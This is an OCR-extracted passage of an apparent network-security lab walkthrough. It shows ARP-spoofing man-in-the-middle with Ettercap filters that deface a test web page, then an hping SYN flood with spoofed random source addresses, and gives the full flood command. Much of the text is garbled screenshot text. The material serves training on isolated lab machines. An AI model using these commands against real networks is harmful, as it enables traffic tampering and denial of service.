Content filters loaded from jusr/share/ettercap/etter.ef...

o 5\9 attl @ = - % v ¥ etterca. ¥ Select @ root@! Eh—‘:’j

e 16:21
EM |l 2 [(5 O gl
| > s 11j0ifznns =

H100% -

Start Arp poisoning and then start sniffing.
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Ctrl+E L
ctri+x (55

162.168.0.2 00:50:56:A3:2E:29
162.168.0.250 00:1E:4A6BBC:71

Add to Target 1 Add to Target 2

Delete Host

GROUP 1:192,168.0.2 00:50:56:A3:2E:29

GROUP 2 :182.,168.0.2 00:50:56:A3:2E:08
Starting Unified sniffing...

Unified sniffing was stopped.
Content filters loaded from jusr/share/ettercap/etter.ef...

75, A, @ ™ % [+ @ root@bt: fusi/ ¥ ettercap N

r '5tart|i :-I{:, ,g |
H100% -

Switch back to the CLIENT workstation, open Internet Explorer, and load http ://webserver again (or
press Ctrl+F5 to refresh the page). You should see a vandalized page which has change the heading

from The Book Company to The Bookie-Wookie Company.


http://webserver/
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’a The Bookie-Wookie Company | Home - Microsoft Internet Explorer

File Edit View Favorites Tools Help O
esack - J - \ﬂ @ jj ‘ /ﬁ Search \;\\‘( Favorites 6_-‘} ‘ ( - ‘; ‘5
Address I@:] http:ffwebserver] L] Go I Links > I

;'
Press Releases

___ ——— e |

The Books

The Bookie-Wookie Company

Welcome to The Bookie-Wookie Company Website. As the holiday season approaches we are pleased to announce new discounts on all our major authors.
Fancy whipping up a dish with Jamie Oliver or Nigella Lawson, then look no further than our Cookery section for their latest offerings.

Contact Information

Getting in touch with us could not be easier, you can contact us using any of the methods listed below. |

Telephone
0207 849 9098

FAX
0207 849 9089

Postal address e
111 The Strand, London WC1V 5GG

Electronic mail

| General Information: jane@thebookcompany.co.uk

Sales: sales@thebookcompany. co.uk

Customer Support: support@thebookcompany.co.uk |
&) Done [ [ [ & Localintranet
& start| B CWINDOWS!system32... |[Z] The Bookie-Wookie C... | 2% |
#100% ~

Switch over to BACKTRACK and in Ettercap, select Filters > Stop filtering then Mitm > Stop Mitm
attack(s).
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" BackTrack - YMware Player (Non-commercial use only) | _ 5]
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Start Targets Hosts \iew Mitm Filters Logging Plugins Help ettercap NG-0.7.3

Host List - |

IP Address MAC Address [ Description

162.168.0.2 00:50:56:A3:2E:29
162.168.0.250 00:1E:4A6BBC:71

MITM attack(s) stopped

Delete Host | Add to Target 1 Add to Target 2

Unified sniffing was stopped.
Content filters loaded from jusrisharefettercapjetter.ef...
Starting Unified sniffing...

ARP poisoner deactivated.
RE-ARPing the victims...

i - Q =] @ = % E & root@bt: fusi’ ¥ ettercap NG

| = o o :EN.r" i
[7start | fgp &Y = & | (&I el Ly B
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Close Ettercap.
Switch to CLIENT and run arp -a - the ARP cache should have been restored.

Continue to the next exercise in order to learn more about Denial of service attacks.



Exercise 4 - Denial of Service

The last major class of attack is Denial of Service (DoS). There are any number of ways to prevent a
server from responding to clients. We could have used Ettercap to simply discard any packets from

client or server for instance.

Flood type attacks really depend on overwhelming the victim system with superior bandwidth,
which itself depends on compromising thousands or even millions of "zombie" PCs in a "botnet".
This exercise just illustrates how simple it is to craft the sort of malformed packets that can be used

to try to flood a server.

On the SERVER, start Wireshark using the icon located on the Desktop.

| & htips://labs.practice-labs.com/+ CSCO+d0756767633 A2F2F7261 747661 722863656 E70677670722D76572E70622E6878 + + /-C5CO-3p--host.htm
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Open the Capture Options dialog. In the "Filter options" box, enter tcp port 80 then start the
capture.
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74! wireshark: Capture Options
Help
Captur

Irkerface: |Local -‘IIInteI(R) PRO{ 1000 MT Metwork Connection: \Davice'{NPF_{ZSSF‘IA;I L °2§( & ||§|ﬁ| @% @k & % | ﬁ h

IF address: Fed0:: 788 a800:53a1:bFRY, 192.168:0.1 =

Expression... Clear Apply

Link-layer header bype:  Ethernet | w I Wireless Settings

|~(_ Capture packets in Drom\scunus_mode Rieiiate Settings

Capture packetsin peap-ng format (experimental) : T i Network Protocol Analyzer
-"_ e et el e R = sEeteisl Euffer sze_:ll ﬁ megabyte(s) %

™ Limit each packet-to‘.ll ﬂbyfes
Capture Filker: | |tcp port 80| hd | _

Capture Fileis: Display Options ——————————————
File; I Browse.., | i i ; pen Website
| [V Update list of packets in real ime |

=n a previoushy captured file “isit the proje

[T Use multiple files.
- : V' Aukomatic scraling in live captare | I ¥ User's €
[# est fileevety |1 :' megatykels) e | M el R e
e User's Gu
[T Rt file vy |1 ::I mimtals) i | [V Hide capture info dislog ample Captures
[7 Rirg bt ith lz_ﬂ e : o jch assortment of example capture files on the wiki 7 Security
i Bt wi =i file: = ki
{ = -Mame Resolubion————————————— Wtk with Wi
_r' Stop capture after |J jfilets)

Skop Capture ...

|__ oafter |1 jpacloetfﬁ) [ Enable petwork name resclution

[T . after Il ::I megabyters)
M IJ :1 e ¥ Enable transport name reslution

Help Start I Cancel
|

@ | Ready to load or capture | Mo Packets: | Profile: Default

[¥' Enable MAC name resolution

e
BN\ 2 > @ 12josjeniz B

H100% -
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From the CLIENT workstation, open Internet Explorer type the following url into the address bar:
http://serverl

Navigate around the webpages making a mental note of how quick they are to load (there should be
no noticeable delay).
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’a The Book Company | Home - Microsoft Internet Explorer [_ (5] x .

6878+ +/-CSCC

File Edit View Favorites Tools Help ! ,','

esack - J v \ﬂ @ jj ‘ /.(WSearch \;‘\‘( Favorites ({4} ‘ - ;; = ‘5

Address [&] http: jserver1 B |tk >
=

The Book Company

Welcome to The Book Company Website. As the holiday season approaches we are pleased to announce new discounts on all our major authors. Fancy
whipping up a dish with Jamie Oliver or Nigella Lawson, then look no further than our Cookery section for their latest offerings.

Contact Information
Getting in touch with us could not be easier, you can contact us using any of the methods listed below.

Telephone
0207 849 9098
FAX
0207 849 3099
Postal address
111 The Strand, London WC1V 5GG
Electronic mail
General Information: jane@thebookcompany.co.uk
Sales: sales@thebookcompany. co.uk
Customer Support: support@thebookcompany.co.uk ihd|

|&] Done [ [ [ & Localintranet
t.'start! I &) The Book Company | ... | F

#100% ~

Close the Internet Explorer then open the Internet Options applet in Control Panel.
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Wiew Favorites  Tools  Help

- O - Iﬁ Folders

J_F) Search [I_ -

5 X 9|

Address IB’ Control Panel

8=

& =

=

Accessiblity  Add Hardware
Options

=

Add or

Administrative
Tools

e

—

Metwork
Connections

9

Security System

Center

Sounds and
Audio Devices

Speech

& 5I;ar't| [ Control Panel

Taskbar and  User Accounts YMware Tools
Start Menu

P 2 & ¥ B

Automatic  Date and Time Display Folder Options
Updates

-

Phone and  Power Options  Prinkers and  Regional and  Scanners and
Modem ... Faxes Language ... Cameras

2 2 O @

Fonts

3
S

Windows
Firewall

Wireless
Netwark Set...

-

Game
Controllers

Scheduled
Tasks

Under "Temporary Internet files", click Delete Files then click OK to both dialogs.
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Control Panel

File Edit Wiew b broneEite
D ) ET N < ...
el ‘z Delete all files in the Temporary Internet Files ﬂ Go

G . £ oy can also delete al your offling content stared bage: D }j g

locally,
Accessibility  Add - Folder Options Faonts Qanme

Options . - = Bilank | Cantrollers
Ok I Cancel | X

Internet Ke - ragt_agiog_vigw Dlg.lhe Intemet are stored in 2 special felder nd Regionaland Scanmers and  Scheduled
Options: s or quick viewing later. Language ... Cameras Tasks

( Deh:le[:nnkies-l Delete Files Setlings | 5
& <

Security Sou ~Histary
Center Aud

Fd B3

ols  Windows Wireless
The History folder containg links to pages you've visited, for fioaal  sNEtodeoent,
~quick access to tecently viewed pages.

Dlayg_t_\: keep pages in histary: |2D 3: Clear History I

Colars. . | Forts... | Languages... | Access‘lb‘lliw...l

oK | Cancel | Aoply |

& 5I;ar't| [ Control Panel
Q

Switch to the SERVER and review the details in WireShark, note the SYN > SYN/ACK > ACK sequence

in the first three packets. The remainder of the capture shows the CLIENT workstation retrieving the
page using HTTP.
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77 Capturing from Intel{R) PRO/1000 MT Metwork Connection (tcp port 80) - Wireshark

Ele Edit Wew Go Copture Analyze Statistics Telephony Tools  Help

BH e mExXZE AacraTi(EEIQAQR| @ -
Filter:l T Expression... Clear Apply

Mo,

|] - % @ - Page~- Safety - Tools - Qv

10 =ik . 5z > http 1 =0
2 0.0023596 168.255.10 152.168.0.1 TCP http » 52463 [S¥N, ACK] Segs=
3 0.002652 168.0.1 1%2.168.255.10 TEP 52463 » http [ack] seg=1l ack
4 0.004061 168.0.1 192,168,255.10 HTTP GET / HTTP/1.1
5 0.0126368 168.255.10 1%2.168.0.1 HTTP HTTP/1.1 200 oK (textshtml)
6 0.221161 168.0.1 1%2.168.255.10 TCP 52463 > http [AcK] Seq=279 A
70617526 168.0.1 1%2.168.255.10 HTTF GET /Jcss/main.css HTTR/L.1
8 0./20256 168.0.1 152.168.255.10 TCP 52464 > http [Syn] Seq=0 wWin
9 0.622037 168.255.10 192.168.0.1 TCP [TcP segment of a reassemble
10 0.622281 L168.255.10 192,168.0.1 HTTP HTTP/1l.1 200 0K (text/fcss)
11 0.622531 .16H.255.10 1%2.168.0.1 TER http » 52464 [SYN, ACK] Seg=
12 0.622533 L168.0.1 1%2.168.255.10 TCP 52463 > http [AcK] Seq=5684 A
13 0.622662 et 152.168.255.10 TCP 52464 > http [ack] seg=1 ack
14 0.624146 192.168.0.1 192.168.255.10 HTTP  GET /images/ practice-lahs-hl
15 0.629569 192.168.255.10 192.168.0.1 TCP [TcP segment of a reassemb]e:J
4 | i

# Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 hits)

# Ethernet II, Src: Vmware_a3:2e:07 (00:50:56:a3:2e:07), Dst: Cisco_6fb:bc:7l (00:le:da:éb:bc:
# Internet Protocol, src: 192.168.0.1 (192.168.0.1), Dst: 192.168.255.10 (192.168.255.10)

& Transmission Control Protocol, Src Port: 52463 (524630, Dst Port: http (80), Seg: 0, Len: ©

| L0
0000 00 1e 43 &b bc 71 00 50 56 a3 Ze 07 08 00 45 00 L E. -

0010 00 34 45 51 40 00 80 0§ 35 16 <O a8 00 Ol <O a8 SEQE G TR

00z0 ff 0a cc ef 00 50 55 5Ff 94 89 00 00 Q0 00 80 02  ..... Pl wymommenis

0030 20 00 17 91 00 00 02 04 05 b4 0L 03 03 02 0L 0L ..ovvvvn vuvnnans

o040 04 02 Pt i

@ | Inkel(R) PRO1000 MT Network Connection: <liv.. |Packets: 45 Displayed: 45 Marked: O |Proﬁ|e: Default e

|Done i_ \— i_i_ i_ \— [%&. Local intranet | Protected Made: OFF i_a;, > | ®Ri00% v g

EN |

On the BACKTRACK, click in the console window then run the following command (remember that it
is case sensitive and ignore the line break - type the whole command then press Enter):

hping 192.168.0.1 -p 80 -i u1000 -S -q --rand-source



= Server - Windows Internet Explorer ;

= =
htps://labs.practice-labs.com/+ C5C s Fist e Y
" BackTrack - YMware Player {(Non-commercial use only) | _ 5]
Flayer + | o e o & L}

root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

|| @ shell |

& root@bt: ~ 215 :’,

H100% -

hping crafts "SYN" packets from random spoofed IP addresses and sends them out at very short

intervals.

Note the flood of packets captured by Wireshark on SERVER.



Server - Windows Internet Explorer | l:l_i =l @

https
i
i

s practice-labs.com/+ C

C
13

FrT T a

Edit Wew Go Cepture Analvze Statistics Telephony Iools Help

Exzd desaT2(aElaaan @ -|

Filker: ] T Expression... Clear Apply

Mo, ITime J Source ]Dast\nation ]Protocol ]Info ﬂ
4077 1341, 700661596, 6. 236,129 152.168.0.2 TCP 6268 = http [SYW] Seg=0 win=
4078 1341.7031681. 206,112,128 1%2.168.0.2 TCP gld = http [SYW] Seq=0 Win=5
40791341 . 70566135, 55.245.202 192.168.0.2 TCPR grid > http [S¥N] Seq=0 win=
4080 1341, 70816 98.203.65.170 192.168.0.2 TCR grid-alt > http [3¥W] Seg=0
4081 1341.70861112.134.152.148 192.168.0.2 TCP 6270 = http [S¥n] Seqg=0 win=
4082 1341, 71066 23, 28. 214, 20 152.168.0.2 TCP 6271 » http [S¥YW] Seg=0 win=
4083 1341, 71118 8,133,178, 71 152.168.0.2 TCP 6272 = http [S¥YW] Seg=0 win=
4084 1341.7131620.45.107.34 1%2.168.0.2 TCP 6273 = http [SYH] Seg=0 Win=
4085 1341 . 71566 226. 223, 74. 226 192.168.0.2 TCPR 6274 > http [S¥H] Seq=0 win=
4086 1341, 71817 73.81.195. 65 192.168.0.2 TCR 6275 > http [Svn] Seg=0 win=
4087 1341.72066 210.160.222.17 192.168.0.2 TCP 6276 = http [S¥n] Seqg=0 win=
4088 1341,72317151.104.134.19 152.168.0.2 TCP 8277 = http [SYW] Seg=0 win=
4089 1341.72564 44,25, 29,1452 1%2.168.0.2 TCP 6278 = http [SYH] Seg=0 Win=
4000 1341.72815102.10.107.171 192.168.0.2 TCR 6279 > http [5¥H] Seq=0 win=
4001 1341, 73066 106.35.66.7 192, 168.0.2 TCR 6280 > http [Svn] Seg=0 w"m:j

1l | |
# Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 hits)

# Ethernet II, Src: Vmware_a3:2e:07 (00:50:56:a3:2e:07), Dst: Cisco_fb:bc:7l (00:le:da:éb:bc:
# Internet Protocol, src: 192.168.0.1 (192.168.0.1), Dbst: 192.168.255.10 (192.168.255.10)

& Transmission Control Protocol, Src Port: 52463 (524630, Dst Port: http (80), Seg: 0, Len: ©

0000 00 1e 43 &b bc 71 00 50 56 a3 Ze 07 08 00 45 00
0010 00 34 45 51 40 00 80 06 35 16 <0 a8 00 Ol <0 a8
0020 ff 0a cc ef 00 50 55 5Ff 94 89 00 00 Q0 00 80 02
0030 20 00 17 91 00 00 02 04 05 b4 0L 03 03 02 01 01

@ I_ﬁ.tel(ﬁ) Pﬁo;‘lﬁuﬂ MT Network Connection: <liv... | Packets: 4091 _D\Eﬁ.layei:l: 4091 Marked: 0 fEroﬁIe:‘Iﬂé‘F‘auit

H100% -

On the CLIENT workstation, open IE and browse to the same webpage you did previously (http
://serverl) you will notice it takes longer to load.

Clearly you would need a lot more bandwidth to overwhelm the server completely.

Switch to the BACKTRACK Server and halt hping using the Ctrl+C key combo.



= Server - Windows Internet Explorer
| https://labs.practice-labs.com/+ C5(

=
e T T — a2z
" BackTrack - YMware Player (Non-commerc o
" .
Plaver v| e Fi o

Session Edit

«| ki
root@bt: ~ - Shell - Konsole
View Bookmarks Settings

Help

o # hping 192.168.0.1 -p 80 -1 ul@@O -5 -g --rand-source
HPING 192

~C

.168.08.1 (eth® 192.168.0.1): S set, 40 headers + 0 data bytes
--- 192.168.0.1 hping statistic ---
54567 packets transmitted, 29521 packets received, 46% packet loss
round-trip min/avg/max = 0.6/1.9/1601.4 ms

: #1

|| @ shell |

= . oE L T
& root@bt: 3 S

% 100%

-

After completing these exercises you should have a better understanding of network vulnerabilities.
Go through the exercises again changing some additional parameters to view different results.



Summary

In this lab you completed the following practical tasks:

o Network Footprinting

e Packet Sniffing

e  MitM with ARP Spoofing
e Denial of Service

Also Try
Using your lab infrastructure you can attempt the following topics at your own pace.



